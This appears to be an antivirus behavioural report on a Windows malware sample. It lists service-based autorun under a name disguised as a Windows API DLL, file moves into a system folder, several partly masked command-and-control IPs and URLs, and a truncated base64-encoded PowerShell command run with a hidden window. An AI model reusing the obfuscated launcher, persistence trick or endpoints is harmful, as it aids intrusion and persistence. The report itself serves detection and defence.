Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-core-errorhandling-l1-1-0] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-core-errorhandling-l1-1-0] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDJPN\api-ms-win-core-errorhandling-l1-1-0.exe"'
Creates the following services
- 'api-ms-win-core-errorhandling-l1-1-0' "%WINDIR%\SysWOW64\KBDJPN\api-ms-win-core-errorhandling-l1-1-0.exe"
- 'api-ms-win-core-errorhandling-l1-1-0' %WINDIR%\SysWOW64\KBDJPN\api-ms-win-core-errorhandling-l1-1-0.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiAC...
Modifies file system
Creates the following files
- %HOMEPATH%\684.exe
Deletes the following files
- %HOMEPATH%\684.exe
Moves the following files
- from %HOMEPATH%\684.exe to %WINDIR%\syswow64\kbdjpn\api-ms-win-core-errorhandling-l1-1-0.exe
Substitutes the following files
- %HOMEPATH%\684.exe
Network activity
Connects to
- '47.##6.117.214':80
- '62.##8.54.22':8080
- '21#.#1.142.238':8080
- '19#.#60.53.126':80
- '87.##6.136.232':8080
- '74.##8.45.104':8080
- '12#.#24.124.40':7080
- '12#.#5.106.173':443
- '76.##.179.47':80
TCP
HTTP GET requests
- http://am###tas.com/public/iu1c_vtucu_ruec/
- http://am###tas.com/cgi-sys/suspendedpage.cgi
- http://www.co###fina.com/wp-content/xrmq_7ug_ttv/
- http://we###pbr.com/wp-admin/ha_s5_3wf/
HTTP POST requests
- http://47.##6.117.214/I5cHI1h32qnS5rpz/B0L5nN0U8g/EwuqPfzZR68fMyDQHh/
- http://21#.##.142.238:8080/WuwD8pLMb9/M6gALXPbY2IWRNk/Jndnl/ via 21#.#1.142.238
- http://76.##.179.47/Q2wMIo7ATig6WEKQjs/
UDP
- DNS ASK am###tas.com
- DNS ASK co###fina.com
- DNS ASK we###pbr.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiAC...' (with hidden window)
